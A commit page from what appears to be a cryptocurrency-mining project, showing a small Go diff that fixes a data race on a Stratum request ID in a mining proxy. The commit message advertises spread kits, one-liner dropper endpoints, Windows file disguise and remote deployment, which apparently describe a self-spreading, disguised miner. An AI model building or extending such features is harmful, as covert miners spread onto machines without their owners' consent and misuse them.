Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -498,12 +498,16 @@ func (p *Proxy) parseAndSetJob(data json.RawMessage) {
|
||||
}
|
||||
|
||||
func (p *Proxy) subscribe() {
|
||||
p.mu.Lock()
|
||||
p.requestID++
|
||||
subID := p.requestID
|
||||
p.mu.Unlock()
|
||||
|
||||
subParams := []string{}
|
||||
paramsData, _ := json.Marshal(subParams)
|
||||
|
||||
subReq := StratumRequest{
|
||||
ID: p.requestID,
|
||||
ID: subID,
|
||||
Method: "subscribe",
|
||||
Params: paramsData,
|
||||
}
|
||||
@@ -542,8 +546,11 @@ func (p *Proxy) submitShareToPool(share *PendingShare) {
|
||||
return
|
||||
}
|
||||
|
||||
// Increment and read requestID under the write lock to avoid data race (H17)
|
||||
p.mu.Lock()
|
||||
p.requestID++
|
||||
reqID := p.requestID
|
||||
p.mu.Unlock()
|
||||
|
||||
wallet := share.Wallet
|
||||
if wallet == "" {
|
||||
|
||||
Reference in New Issue
Block a user